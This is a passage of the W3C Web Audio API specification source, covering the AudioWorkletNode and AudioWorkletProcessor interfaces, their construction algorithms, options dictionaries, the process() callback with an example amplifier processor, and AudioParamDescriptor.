steps:\n\n\t\t\t\t1. Let <var>parameterDescriptorSequence</var>\n\t\t\t\t\tbe the result of\n\t\t\t\t\t<a href=\"https://heycam.github.io/webidl/#es-to-sequence\">\n\t\t\t\t\tthe conversion</a> from\n\t\t\t\t\t<var>parameterDescriptorsValue</var>\n\t\t\t\t\tto an IDL value of type\n\t\t\t\t\t<code>sequence&lt;AudioParamDescriptor&gt;</code>.\n\n\t\t\t\t1. Let <var>paramNames</var> be an empty Array.\n\n\t\t\t\t1. <div id=\"steps-parameterDescriptorSequence\"></div>\n\t\t\t\t\tFor each <var>descriptor</var> of\n\t\t\t\t\t<var>parameterDescriptorSequence</var>:\n\t\t\t\t\t1. Let <var>paramName</var> be the value of\n\t\t\t\t\t\tthe member {{AudioParamDescriptor/name}}\n\t\t\t\t\t\tin <var>descriptor</var>. <span class=\"synchronous\">Throw\n\t\t\t\t\t\ta {{NotSupportedError}}</span> if\n\t\t\t\t\t\t<var>paramNames</var> already\n\t\t\t\t\t\tcontains <var>paramName</var> value.\n\n\t\t\t\t\t1. Append <var>paramName</var> to\n\t\t\t\t\t\tthe <var>paramNames</var> array.\n\n\t\t\t\t\t1. Let <var>defaultValue</var> be the value of\n\t\t\t\t\t\tthe member\n\t\t\t\t\t\t{{AudioParamDescriptor/defaultValue}}\n\t\t\t\t\t\tin <var>descriptor</var>.\n\n\t\t\t\t\t1. Let <var>minValue</var> be the value of\n\t\t\t\t\t\tthe member\n\t\t\t\t\t\t{{AudioParamDescriptor/minValue}}\n\t\t\t\t\t\tin <var>descriptor</var>.\n\n\t\t\t\t\t1. Let <var>maxValue</var> be the value of\n\t\t\t\t\t\tthe member\n\t\t\t\t\t\t{{AudioParamDescriptor/maxValue}}\n\t\t\t\t\t\tin <var>descriptor</var>.\n\n\t\t\t\t\t1. If the expresstion\n\t\t\t\t\t\t<var>minValue</var> &lt;=\n\t\t\t\t\t\t<var>defaultValue</var> &lt;=\n\t\t\t\t\t\t<var>maxValue</var> is false,\n\t\t\t\t\t\t<span class=\"synchronous\">throw\n\t\t\t\t\t\tan {{InvalidStateError}}</span>.\n\n\t\t\t1. Append the key-value pair <var>name</var> →\n\t\t\t\t<var>processorCtor</var> to\n\t\t\t\t<a>node name to processor constructor map</a>\n\t\t\t\tof the associated {{AudioWorkletGlobalScope}}.\n\n\t\t\t1. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to append the key-value pair |name| →\n\t\t\t\t|parameterDescriptorSequence| to the <a>node name to parameter descriptor map</a> of the\n\t\t\t\tassociated {{BaseAudioContext}}.\n\t\t</div>\n\n\t\tNote: The class constructor should only be looked up once, thus it\n\t\tdoes not have the opportunity to dynamically change after registration.\n\n\t\t<pre class=argumentdef for=\"AudioWorkletGlobalScope/registerProcessor(name, processorCtor)\">\n\t\t\tname: A string key that represents a class constructor to be registered. This key is used to look up the constructor of {{AudioWorkletProcessor}} during construction of an {{AudioWorkletNode}}.\n\t\t\tprocessorCtor: A class constructor extended from {{AudioWorkletProcessor}}.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n</dl>\n\n<h5 id=\"AudioWorkletProcessor-instantiation\">\nThe instantiation of {{AudioWorkletProcessor}}</h5>\n\nAt the end of the {{AudioWorkletNode}} construction,\nA [=struct=] named\n<dfn>processor construction data</dfn>\nwill be prepared for cross-thread transfer. This\n<a spec=\"infra\" lt=\"struct\">struct</a> contains the following\n<a spec=\"infra\" for=\"struct\" lt=\"item\">items</a>:\n\n- <dfn for=\"processor construction data\">name</dfn> which is a {{DOMString}}\n\tthat is to be looked up in the\n\t<a>node name to processor constructor map</a>.\n- <dfn for=\"processor construction data\">node</dfn> which is a reference to\n\tthe {{AudioWorkletNode}} created.\n- <dfn for=\"processor construction data\">options</dfn> which is a serialized\n\t{{AudioWorkletNodeOptions}} given to the {{AudioWorkletNode}}'s\n\t{{AudioWorkletNode()|constructor}}.\n- <dfn for=\"processor construction data\">port</dfn> which is a serialized\n\t{{MessagePort}} paired with the {{AudioWorkletNode}}'s\n\t{{AudioWorkletNode/port}}.\n\nUpon the arrival of the transferred data on the {{AudioWorkletGlobalScope}},\nthe <a>rendering thread</a> will invoke the algorithm below:\n\n\t<div id=\"invoking-processor-constructor\" algorithm=\"invoking processor constructor\">\n\t\t1. Let <var>constructionData</var> be the\n\t\t\t[=processor construction data=] transferred from the\n\t\t\t[=control thread=].\n\n\t\t1. Let <var>processorName</var>, <var>nodeReference</var> and\n\t\t\t<var>serializedPort</var> be\n\t\t\t<var>constructionData</var>'s\n\t\t\t[=processor construction data/name=],\n\t\t\t[=processor construction data/node=], and\n\t\t\t[=processor construction data/port=] respectively.\n\n\t\t1. Let <var>serializedOptions</var> be\n\t\t\t<var>constructionData</var>'s\n\t\t\t[=processor construction data/options=].\n\n\t\t1. Let <var>deserializedPort</var> be the result of\n\t\t\t[$StructuredDeserialize$](<var>serializedPort</var>,\n\t\t\tthe current Realm).\n\n\t\t1. Let <var>deserializedOptions</var> be the result of\n\t\t\t[$StructuredDeserialize$](<var>serializedOptions</var>,\n\t\t\tthe current Realm).\n\n\t\t1. Let <var>processorCtor</var> be the result of looking\n\t\t\tup  <var>processorName</var> on the\n\t\t\t{{AudioWorkletGlobalScope}}'s\n\t\t\t<a>node name to processor constructor map</a>.\n\n\t\t1. Store <var>nodeReference</var> and\n\t\t\t<var>deserializedPort</var> to\n\t\t\t[=pending processor construction data/node reference=]\n\t\t\tand\n\t\t\t[=pending processor construction data/transferred port=]\n\t\t\tof this {{AudioWorkletGlobalScope}}'s\n\t\t\t[=pending processor construction data=] respectively.\n\n\t\t1. <a spec=webidl lt=construct>Construct a callback function</a> from |processorCtor| with the argument\n\t\t\tof |deserializedOptions|. If any exceptions are thrown in the callback, <a>queue a task</a> to\n\t\t\tthe <a>control thread</a> to <a spec=\"dom\" lt=\"fire an event\">fire an event</a> named\n\t\t\t`processorerror` using {{ErrorEvent}} at |nodeReference|.\n\n\t\t1. Empty the [=pending processor construction data=] slot.\n\t</div>\n\n<h4 interface lt=\"audioworkletnode\" id=\"AudioWorkletNode\">\nThe {{AudioWorkletNode}} Interface</h4>\n\nThis interface represents a user-defined {{AudioNode}} which\nlives on the <a>control thread</a>. The user can create an\n{{AudioWorkletNode}} from a {{BaseAudioContext}}, and such a\nnode can be connected with other built-in {{AudioNode}}s to form\nan audio graph.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: See notes\n\ttail-time-notes:  Any <a>tail-time</a> is handled by the node itself\n</pre>\n\nEvery {{AudioWorkletProcessor}} has an associated <dfn>active source</dfn> flag, initially `true`. This flag causes\nthe node to be retained in memory and perform audio processing in\nthe absence of any connected inputs.\n\nAll tasks posted from an {{AudioWorkletNode}} are posted to the task queue of\nits associated {{BaseAudioContext}}.\n\n<xmp class=\"idl\">\n[Exposed=Window]\ninterface AudioParamMap {\n\treadonly maplike<DOMString, AudioParam>;\n};\n</xmp>\n\nThis interface has \"entries\", \"forEach\", \"get\", \"has\", \"keys\",\n\"values\", @@iterator methods and a \"size\" getter brought by\n<code>readonly maplike</code>.\n\n<pre class=\"idl\">\n[Exposed=Window, SecureContext]\ninterface AudioWorkletNode : AudioNode {\n\tconstructor (BaseAudioContext context, DOMString name,\n               optional AudioWorkletNodeOptions options = {});\n\treadonly attribute AudioParamMap parameters;\n\treadonly attribute MessagePort port;\n\tattribute EventHandler onprocessorerror;\n};\n</pre>\n\n<h5 id=\"AudioWorkletNode-constructors\">\nConstructors</h5>\n\n<dl dfn-type=constructor dfn-for=\"AudioWorkletNode\">\n\t: <dfn>AudioWorkletNode(context, name, options)</dfn>\n\t::\n\t\t<pre class=argumentdef for=\"AudioWorkletNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{AudioWorkletNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\tname: A string that is a key for the {{BaseAudioContext}}’s <a>node name to parameter descriptor map</a>.\n\t\t\toptions: Optional initial parameters value for this {{AudioWorkletNode}}.\n\t\t</pre>\n\n\t\tWhen the constructor is called, the user agent MUST perform the\n\t\tfollowing steps on the control thread:\n\n\t\t<div algorithm=\"AudioWorkletNode()\">\n\t\t\tWhen the {{AudioWorkletNode()|AudioWorkletNode}} constructor\n\t\t\tis invoked with <var>context</var>, <var>nodeName</var>, <var>options</var>:\n\n\t\t\t1. If <var>nodeName</var> does not exist as a key in the\n\t\t\t\t{{BaseAudioContext}}’s <a>node name to parameter\n\t\t\t\tdescriptor map</a>, throw a {{InvalidStateError}}\n\t\t\t\texception and abort these steps.\n\n\t\t\t1. Let <var>node</var> be\n\t\t\t\t<a spec=\"webidl\" lt=\"this\">this</a> value.\n\n\t\t\t1. <a href=\"#audionode-constructor-init\">Initialize the AudioNode</a>\n\t\t\t\t<var>node</var> with <var>context</var> and <var>options</var> as\n\t\t\t\targuments.\n\n\t\t\t1. <a href=\"#configure-with-audioworkletnodeoptions\">\n\t\t\t\tConfigure input, output and output channels</a>\n\t\t\t\tof <var>node</var> with <var>options</var>.\n\t\t\t\tAbort the remaining steps if any exception is\n\t\t\t\tthrown.\n\n\t\t\t1. Let <var>messageChannel</var> be a new {{MessageChannel}}.\n\n\t\t\t1. Let <var>nodePort</var> be the value of\n\t\t\t\t<var>messageChannel</var>'s {{MessageChannel/port1}} attribute.\n\n\t\t\t1. Let <var>processorPortOnThisSide</var> be the value of\n\t\t\t\t<var>messageChannel</var>'s {{MessageChannel/port2}} attribute.\n\n\t\t\t1. Let <var>serializedProcessorPort</var> be the result of\n\t\t\t\t[$StructuredSerializeWithTransfer$](<var>processorPortOnThisSide</var>,\n\t\t\t\t« <var>processorPortOnThisSide</var> »).\n\n\t\t\t1. <a href=\"https://heycam.github.io/webidl/#dictionary-to-es\">Convert</a>\n\t\t\t\t<var>options</var> dictionary to <var>optionsObject</var>.\n\n\t\t\t1. Let <var>serializedOptions</var> be the result of\n\t\t\t\t[$StructuredSerialize$](<var>optionsObject</var>).\n\n\t\t\t1. Set <var>node</var>'s {{AudioWorkletNode/port}} to <var>nodePort</var>.\n\n\t\t\t1. Let <var>parameterDescriptors</var> be the result of retrieval\n\t\t\t\tof <var>nodeName</var> from <a>node name to parameter descriptor map</a>:\n\n\t\t\t\t1. Let <var>audioParamMap</var> be a new {{AudioParamMap}} object.\n\n\t\t\t\t1. For each <var>descriptor</var> of\n\t\t\t\t\t<var>parameterDescriptors</var>:\n\n\t\t\t\t\t1. Let <var>paramName</var> be the value of\n\t\t\t\t\t\t{{AudioParamDescriptor/name}} member in\n\t\t\t\t\t\t<var>descriptor</var>.\n\n\t\t\t\t\t1. Let <var>audioParam</var> be a new\n\t\t\t\t\t\t{{AudioParam}} instance with\n\t\t\t\t\t\t{{AudioParamDescriptor/automationRate}},\n\t\t\t\t\t\t{{AudioParamDescriptor/defaultValue}},\n\t\t\t\t\t\t{{AudioParamDescriptor/minValue}}, and\n\t\t\t\t\t\t{{AudioParamDescriptor/maxValue}}\n\t\t\t\t\t\thaving values equal to the values of\n\t\t\t\t\t\tcorresponding members on\n\t\t\t\t\t\t<var>descriptor</var>.\n\n\t\t\t\t\t1. Append a key-value pair\n\t\t\t\t\t\t<var>paramName</var> →\n\t\t\t\t\t\t<var>audioParam</var> to\n\t\t\t\t\t\t<var>audioParamMap</var>'s\n\t\t\t\t\t\tentries.\n\n\t\t\t\t1. If {{AudioWorkletNodeOptions/parameterData}} is\n\t\t\t\t\tpresent on <var>options</var>, perform the\n\t\t\t\t\tfollowing steps:\n\n\t\t\t\t\t1. Let <var>parameterData</var> be the value of\n\t\t\t\t\t\t{{AudioWorkletNodeOptions/parameterData}}.\n\n\t\t\t\t\t1. For each <var>paramName</var> →\n\t\t\t\t\t\t<var>paramValue</var> of\n\t\t\t\t\t\t<var>parameterData</var>:\n\n\t\t\t\t\t\t1. If there exists a map entry on\n\t\t\t\t\t\t\t<var>audioParamMap</var> with\n\t\t\t\t\t\t\tkey <var>paramName</var>, let\n\t\t\t\t\t\t\t<var>audioParamInMap</var> be\n\t\t\t\t\t\t\tsuch entry.\n\n\t\t\t\t\t\t1. Set {{AudioParam/value}} property\n\t\t\t\t\t\t\tof <var>audioParamInMap</var>\n\t\t\t\t\t\t\tto <var>paramValue</var>.\n\n\t\t\t\t1. Set <var>node</var>'s {{AudioWorkletNode/parameters}} to <var>audioParamMap</var>.\n\n\t\t\t1. <a>Queue a control message</a> to\n\t\t\t\t<a href=\"#invoking-processor-constructor\">invoke</a>\n\t\t\t\tthe {{AudioWorkletProcessor()|constructor}} of\n\t\t\t\tthe corresponding {{AudioWorkletProcessor}} with\n\t\t\t\tthe [=processor construction data=] that consists of:\n\t\t\t\t<var>nodeName</var>,\n\t\t\t\t<var>node</var>,\n\t\t\t\t<var>serializedOptions</var>, and\n\t\t\t\t<var>serializedProcessorPort</var>.\n\t\t</div>\n</dl>\n\n<h5 id=\"AudioWorkletNode-attributes\">\nAttributes</h5>\n\n<dl dfn-type=attribute dfn-for=\"AudioWorkletNode\">\n\t: <dfn>onprocessorerror</dfn>\n\t::\n\t\tWhen an unhandled exception is thrown from the processor's\n\t\t<code>constructor</code>, <code>process</code> method,\n\t\tor any user-defined class method, the processor will\n\t\t<a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\tqueue a media\n\t\telement task</a> to <a spec=\"dom\" lt=\"fire an event\">fire an event</a> named `processorerror` using\n\t\t<a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#the-errorevent-interface\">\n\t\tErrorEvent</a> at the associated {{AudioWorkletNode}}.\n\n\t\tThe <code>ErrorEvent</code> is created and initialized\n\t\tappropriately with its <code>message</code>,\n\t\t<code>filename</code>, <code>lineno</code>, <code>colno</code>\n\t\tattributes on the control thread.\n\n\t\tNote that once a unhandled exception is thrown, the processor\n\t\twill output silence throughout its lifetime.\n\n\t: <dfn>parameters</dfn>\n\t::\n\t\tThe <code>parameters</code> attribute is a collection of\n\t\t{{AudioParam}} objects with associated names. This maplike\n\t\tobject is populated from a list of {{AudioParamDescriptor}}s\n\t\tin the {{AudioWorkletProcessor}} class constructor at the\n\t\tinstantiation.\n\n\t: <dfn>port</dfn>\n\t::\n\t\tEvery {{AudioWorkletNode}} has an associated\n\t\t<code>port</code> which is the\n\t\t{{MessagePort}}. It is connected to the port on the\n\t\tcorresponding {{AudioWorkletProcessor}} object allowing\n\t\tbidirectional communication between the\n\t\t{{AudioWorkletNode}} and its {{AudioWorkletProcessor}}.\n\n\t\tNote: Authors that register a event listener on the <code>\"message\"</code>\n\t\tevent of this {{AudioWorkletNode/port}} should call {{MessagePort/close}} on\n\t\teither end of the {{MessageChannel}} (either in the\n\t\t{{AudioWorkletProcessor}} or the {{AudioWorkletNode}} side) to allow for\n\t\tresources to be [[html#ports-and-garbage-collection|collected]].\n</dl>\n\n<h5 dictionary lt=\"audioworkletnodeoptions\" id=\"AudioWorkletNodeOptions\">\n{{AudioWorkletNodeOptions}}</h5>\n\nThe {{AudioWorkletNodeOptions}} dictionary can be used\nto initialize attibutes in the instance of an {{AudioWorkletNode}}.\n\n<xmp class=\"idl\">\ndictionary AudioWorkletNodeOptions : AudioNodeOptions {\n\tunsigned long numberOfInputs = 1;\n\tunsigned long numberOfOutputs = 1;\n\tsequence<unsigned long> outputChannelCount;\n\trecord<DOMString, double> parameterData;\n\tobject processorOptions;\n};\n</xmp>\n\n<h6 id=\"dictionary-audioworkletnodeoptions-members\">\nDictionary {{AudioWorkletNodeOptions}} Members</h6>\n\n<dl dfn-type=dict-member dfn-for=\"AudioWorkletNodeOptions\">\n\t: <dfn>numberOfInputs</dfn>\n\t::\n\t\tThis is used to initialize the value of the {{AudioNode}}\n\t\t{{AudioNode/numberOfInputs}} attribute.\n\n\t: <dfn>numberOfOutputs</dfn>\n\t::\n\t\tThis is used to initialize the value of the {{AudioNode}}\n\t\t{{AudioNode/numberOfOutputs}} attribute.\n\n\t: <dfn>outputChannelCount</dfn>\n\t::\n\t\tThis array is used to configure the number of channels in\n\t\teach output.\n\n\t: <dfn>parameterData</dfn>\n\t::\n\t\tThis is a list of user-defined key-value pairs that are used\n\t\tto set the initial {{AudioParam/value}} of an {{AudioParam}}\n\t\twith the matched name in the {{AudioWorkletNode}}.\n\n\t: <dfn>processorOptions</dfn>\n\t::\n\t\tThis holds any user-defined data that may be used to initialize\n\t\tcustom properties in an {{AudioWorkletProcessor}} instance\n\t\tthat is associated with the {{AudioWorkletNode}}.\n</dl>\n\n<h6 id=\"configuring-channels-with-audioworkletnodeoptions\">\nConfiguring Channels with {{AudioWorkletNodeOptions}}</h6>\n\nThe following algorithm describes how an {{AudioWorkletNodeOptions}} can be\nused to configure various channel configurations.\n\n<div id=\"configure-with-audioworkletnodeoptions\" algorithm=\"configure with AudioWorkletNodeOptions\">\n\t1. Let <var>node</var> be an {{AudioWorkletNode}} instance that is\n\t\tgiven to this algorithm.\n\n\t1. If both {{AudioWorkletNodeOptions/numberOfInputs}} and\n\t\t{{AudioWorkletNodeOptions/numberOfOutputs}} are zero,\n\t\tthrow a {{NotSupportedError}} and abort the remaining steps.\n\n\t1. If {{AudioWorkletNodeOptions/outputChannelCount}} is\n\t\t<a spec=\"webidl\" lt=\"present\">present</a>,\n\n\t\t1. If any value in\n\t\t\t{{AudioWorkletNodeOptions/outputChannelCount}} is zero\n\t\t\tor greater than the implementation’s maximum number\n\t\t\tof channels, throw a {{NotSupportedError}} and abort\n\t\t\tthe remaining steps.\n\n\t\t1. If the length of\n\t\t\t{{AudioWorkletNodeOptions/outputChannelCount}} does not\n\t\t\tequal {{AudioWorkletNodeOptions/numberOfOutputs}},\n\t\t\tthrow an {{IndexSizeError}} and abort the remaining\n\t\t\tsteps.\n\n\t\t1. If both {{AudioWorkletNodeOptions/numberOfInputs}} and\n\t\t\t{{AudioWorkletNodeOptions/numberOfOutputs}} are 1,\n\t\t\tset the channel count of the <var>node</var> output to\n\t\t\tthe one value in\n\t\t\t{{AudioWorkletNodeOptions/outputChannelCount}}.\n\n\t\t1. Otherwise set the channel count of the <em>k</em>th output\n\t\t\tof the <var>node</var> to the <em>k</em>th element\n\t\t\tof {{AudioWorkletNodeOptions/outputChannelCount}}\n\t\t\tsequence and return.\n\n\t1. If {{AudioWorkletNodeOptions/outputChannelCount}} is\n\t\t<a spec=\"webidl\" lt=\"present\">not present</a>,\n\n\t\t1. If both {{AudioWorkletNodeOptions/numberOfInputs}} and\n\t\t\t{{AudioWorkletNodeOptions/numberOfOutputs}} are 1,\n\t\t\tset the initial channel count of the <var>node</var>\n\t\t\toutput to 1 and return.\n\n\t\t\tNOTE: For this case, the output chanel count will\n\t\t\tchange to <a>computedNumberOfChannels</a> dynamically\n\t\t\tbased on the input and the\n\t\t\t{{AudioNode/channelCountMode}} at runtime.\n\n\t\t1. Otherwise set the channel count of each output of the\n\t\t\t<var>node</var> to 1 and return.\n</div>\n\n<h4 interface lt=\"audioworkletprocessor\" id=\"AudioWorkletProcessor\">\nThe {{AudioWorkletProcessor}} Interface</h4>\n\nThis interface represents an audio processing code that runs on the\naudio <a>rendering thread</a>. It lives in the {{AudioWorkletGlobalScope}},\nand the definition of the class manifests the actual audio processing.\nNote that the an {{AudioWorkletProcessor}} construction can only happen as a\nresult of an {{AudioWorkletNode}} contruction.\n\n<xmp class=\"idl\">\n[Exposed=AudioWorklet]\ninterface AudioWorkletProcessor {\n\tconstructor ();\n\treadonly attribute MessagePort port;\n};\n\ncallback AudioWorkletProcessCallback =\n  boolean (FrozenArray<FrozenArray<Float32Array>> inputs,\n           FrozenArray<FrozenArray<Float32Array>> outputs,\n           object parameters);\n</xmp>\n\n{{AudioWorkletProcessor}} has two internal slots:\n\n<dl dfn-type=attribute dfn-for=\"AudioWorkletProcessor\">\n\t: <dfn>[[node reference]]</dfn>\n\t::\n\t\tA reference to the associated {{AudioWorkletNode}}.\n\n\t: <dfn>[[callable process]]</dfn>\n\t::\n\t\tA boolean flag representing whether [=process()=] is\n\t\ta valid function that can be invoked.\n</dl>\n\n<h5 id=\"AudioWorketProcessor-constructors\">\nConstructors</h5>\n\n<dl dfn-type=\"constructor\" dfn-for=\"AudioWorkletProcessor\">\n\t: <dfn>AudioWorkletProcessor()</dfn>\n\t::\n\t\tWhen the constructor for {{AudioWorkletProcessor}} is invoked,\n\t\tthe following steps are performed on the <a>rendering thread</a>.\n\n\t\t<div algorithm=\"AudioWorkletProcessor()\">\n\t\t\t1. Let <var>nodeReference</var> be the result of\n\t\t\t\tlooking up\n\t\t\t\t[=pending processor construction data/node reference=]\n\t\t\t\ton the\n\t\t\t\t[=pending processor construction data=] of the\n\t\t\t\tcurrent {{AudioWorkletGlobalScope}}.\n\t\t\t\tThrow a {{TypeError}} exception if the slot is\n\t\t\t\tempty.\n\n\t\t\t1. Let <var>processor</var> be the\n\t\t\t\t<a spec=\"webidl\" lt=\"this\">this</a> value.\n\n\t\t\t1. Set <var>processor</var>'s {{[[node reference]]}} to\n\t\t\t\t<var>nodeReference</var>.\n\n\t\t\t1. Set <var>processor</var>'s {{[[callable process]]}}\n\t\t\t\tto `true`.\n\n\t\t\t1. Let <var>deserializedPort</var> be the result of\n\t\t\t\tlooking up\n\t\t\t\t[=pending processor construction data/transferred port=]\n\t\t\t\tfrom the\n\t\t\t\t[=pending processor construction data=].\n\n\t\t\t1. Set <var>processor</var>’s\n\t\t\t\t{{AudioWorkletProcessor/port}}\n\t\t\t\tto <var>deserializedPort</var>.\n\n\t\t\t1. Empty the [=pending processor construction data=]\n\t\t\t\tslot.\n\t\t</div>\n</dl>\n\n<h5 id=\"AudioWorkletProcessor-attributes\">Attributes</h5>\n\n<dl dfn-type=attribute dfn-for=\"AudioWorkletProcessor\">\n\t: <dfn>port</dfn>\n\t::\n\t\tEvery {{AudioWorkletProcessor}} has an associated\n\t\t<code>port</code> which is a {{MessagePort}}. It is connected to\n\t\tthe port on the corresponding {{AudioWorkletNode}} object\n\t\tallowing bidirectional communication between an\n\t\t{{AudioWorkletNode}} and its {{AudioWorkletProcessor}}.\n\n\t\tNote: Authors that register a event listener on the <code>\"message\"</code>\n\t\tevent of this {{AudioWorkletProcessor/port}} should call\n\t\t{{MessagePort/close}} on either end of the {{MessageChannel}} (either in the\n\t\t{{AudioWorkletProcessor}} or the {{AudioWorkletNode}} side) to allow for\n\t\tresources to be [[html#ports-and-garbage-collection|collected]].\n</dl>\n\n<h5 id=\"callback-audioworketprocess-callback\">\nCallback {{AudioWorkletProcessCallback}}</h5>\n\nUsers can define a custom audio processor by extending\n{{AudioWorkletProcessor}}. The subclass MUST define an {{AudioWorkletProcessCallback}}\nnamed <code><dfn>process()</dfn></code> that implements the audio processing\nalgorithm and may have a static property named\n<code><dfn>parameterDescriptors</dfn></code> which is an iterable\nof {{AudioParamDescriptor}}s.\n\nThe [=process()=] callback function is handled as specified when <a href=\"#rendering-a-graph\">rendering a graph</a>.\n\n<div class=\"note\">\n\tThe return value of this callback controls the lifetime\n\tof the {{AudioWorkletProcessor}}'s associated\n\t{{AudioWorkletNode}}.\n\n\tThis lifetime policy can support a variety of approaches\n\tfound in built-in nodes, including the following:\n\n\t* Nodes that transform their inputs, and are active only\n\t\twhile connected inputs and/or script references exist. Such\n\t\tnodes SHOULD return <code>false</code> from\n\t\t[=process()=] which allows the presence or absence of\n\t\tconnected inputs to determine whether the {{AudioWorkletNode}} is\n\t\t[=actively processing=].\n\n\t* Nodes that transform their inputs, but which remain active\n\t\tfor a <a>tail-time</a> after their inputs are disconnected. In\n\t\tthis case, [=process()=] SHOULD return\n\t\t`true` for some period of time after\n\t\t<code>inputs</code> is found to contain zero channels. The\n\t\tcurrent time may be obtained from the global scope's\n\t\t{{AudioWorkletGlobalScope/currentTime}} to\n\t\tmeasure the start and end of this tail-time interval, or the\n\t\tinterval could be calculated dynamically depending on the\n\t\tprocessor's internal state.\n\n\t* Nodes that act as sources of output, typically with a\n\t\tlifetime. Such nodes SHOULD return `true` from\n\t\t[=process()=] until the point at which they are no\n\t\tlonger producing an output.\n\n\tNote that the preceding definition implies that when no\n\treturn value is provided from an implementation of\n\t[=process()=], the effect is identical to returning\n\t<code>false</code> (since the effective return value is the falsy\n\tvalue {{undefined}}). This is a reasonable behavior for\n\tany {{AudioWorkletProcessor}} that is active only when it has\n\tactive inputs.\n</div>\n\nThe example below shows how {{AudioParam}} can be defined and used in an\n{{AudioWorkletProcessor}}.\n\n<xmp class=\"example\" highlight=\"js\" title=\"Subclassing AudioWorkletProcessor\">\nclass MyProcessor extends AudioWorkletProcessor {\n  static get parameterDescriptors() {\n    return [{\n      name: 'myParam',\n      defaultValue: 0.5,\n      minValue: 0,\n      maxValue: 1,\n      automationRate: \"k-rate\"\n    }];\n  }\n\n  process(inputs, outputs, parameters) {\n    // Get the first input and output.\n    const input = inputs[0];\n    const output = outputs[0];\n    const myParam = parameters.myParam;\n\n    // A simple amplifier for single input and output. Note that the\n    // automationRate is \"k-rate\", so it will have a single value at index [0]\n    // for each render quantum.\n    for (let channel = 0; channel < output.length; ++channel) {\n      for (let i = 0; i < output[channel].length; ++i) {\n        output[channel][i] = input[channel][i] * myParam[0];\n      }\n    }\n  }\n}\n</xmp>\n\n<h6 id=\"audioworkletprocess-callback-parameters\" callback lt=\"AudioWorkletProcessCallback()\">\nCallback {{AudioWorkletProcessCallback}} Parameters\n</h6>\nThe following describes the parameters to the {{AudioWorkletProcessCallback}} function.\n\nIn general, the {{AudioWorkletProcessCallback/inputs!!argument}} and\n{{AudioWorkletProcessCallback/outputs!!argument}} arrays will be reused\nbetween calls so that no memory allocation is done.  However, if the\ntopology changes, because, say, the number of channels in the input or the\noutput changes, new arrays are reallocated.  New arrays are also\nreallocated if any part of the\n{{AudioWorkletProcessCallback/inputs!!argument}} or\n{{AudioWorkletProcessCallback/outputs!!argument}} arrays are\ntransferred.\n\n<dl dfn-type=argument dfn-for=\"AudioWorkletProcessCallback\">\n\t: {{AudioWorkletProcessCallback/inputs!!argument}}, of type <code>{{FrozenArray}}&lt;{{FrozenArray}}&lt;{{Float32Array}}&gt;&gt;</code>\n\t:: The input audio buffer from the incoming connections provided by the user agent. <code class=\"nobreak\">inputs[n][m]</code> is a {{Float32Array}} of audio samples for the \\(m\\)th channel of the \\(n\\)th input. While the number of inputs is fixed at construction, the number of channels can be changed dynamically based on [=computedNumberOfChannels=].\n\n\t\tIf there are no [=actively processing=] {{AudioNode}}s connected to the \\(n\\)th input of the {{AudioWorkletNode}} for the current render quantum, then the content of <code>inputs[n]</code> is an empty array, indicating that zero channels of input are available. This is the only circumstance under which the number of elements of <code>inputs[n]</code> can be zero.\n\n\t: {{AudioWorkletProcessCallback/outputs!!argument}}, of type <code>{{FrozenArray}}&lt;{{FrozenArray}}&lt;{{Float32Array}}>></code>\n\t:: The output audio buffer that is to be consumed by the user agent. <code class=\"nobreak\">outputs[n][m]</code> is a {{Float32Array}} object containing the audio samples for \\(m\\)th channel of \\(n\\)th output. Each of the {{Float32Array}}s are zero-filled. The number of channels in the output will match [=computedNumberOfChannels=] only when the node has a single output.\n\n\t: {{AudioWorkletProcessCallback/parameters!!argument}}, of type {{object}}\n\t:: An [=ordered map=] of <var>name</var> → <var>parameterValues</var>. <code>parameters[\"<var>name</var>\"]</code> returns <var>parameterValues</var>, which is a {{FrozenArray}}&lt;{{Float32Array}}> with the automation values of the <var>name</var> {{AudioParam}}.\n\n\t\tFor each array, the array contains the [=computedValue=] of the parameter for all frames in the [=render quantum=]. However, if no automation is scheduled during this render quantum, the array MAY have length 1 with the array element being the constant value of the {{AudioParam}} for the [=render quantum=].\n\n\t\tThis object is frozen according the the following steps\n\t\t<div algorithm=\"freeze parameter object\">\n\t\t\t1. Let |parameter| be the [=ordered map=] of the name and parameter values.\n\t\t\t1. <a href=\"https://tc39.es/ecma262/#sec-setintegritylevel\">SetIntegrityLevel</a>(|parameter|, frozen)\n\t\t</div>\n\n\t\tThis frozen [=ordered map=] computed in the algorithm is passed to the\n\t\t{{AudioWorkletProcessCallback/parameters!!argument}}\n\t\targument.\n\n\t\tNote: This means the object cannot be modified and\n\t\thence the same object can be used for successive calls\n\t\tunless length of an array changes.\n\n</dl>\n\n<h5 dictionary lt=\"audioparamdescriptor\" id=\"AudioParamDescriptor\">\n{{AudioParamDescriptor}}</h5>\n\nThe {{AudioParamDescriptor}} dictionary is used to\nspecify properties for an {{AudioParam}} object\nthat is used in an {{AudioWorkletNode}}.\n\n<pre class=\"idl\">\ndictionary AudioParamDescriptor {\n\trequired DOMString name;\n\tfloat defaultValue = 0;\n\tfloat minValue = -3.4028235e38;\n\tfloat maxValue = 3.4028235e38;\n\tAutomationRate automationRate = \"a-rate\";\n};\n</pre>\n\n<h6 id=\"dictionary-audioparamdescriptor-members\">\nDictionary {{AudioParamDescriptor}} Members</h6>\n\nThere are constraints on the values for these members.  See the <a\nhref=\"#steps-parameterDescriptorSequence\">algorithm for handling an\nAudioParamDescriptor</a> for the constraints.\n\n<dl dfn-type=dict-member dfn-for=\"AudioParamDescriptor\">\n\t: <dfn>automationRate</dfn>\n\t::\n\t\tRepresents the default automation rate.\n\t: <dfn>defaultValue</dfn>\n\t::\n\t\tRepresents the default value of the parameter.\n\n\t: <dfn>maxValue</dfn>\n\t::\n\t\tRepresents the maximum value.\n\n\t: <dfn>minValue</dfn>\n\t::\n\t\tRepresents the minimum value.\n\n\t: <dfn>name</dfn>\n\t::\n\t\tRepresents the name of the parameter.\n</dl>\n\n<h4 id=\"AudioWorklet-Sequence\">\nAudioWorklet Sequence of 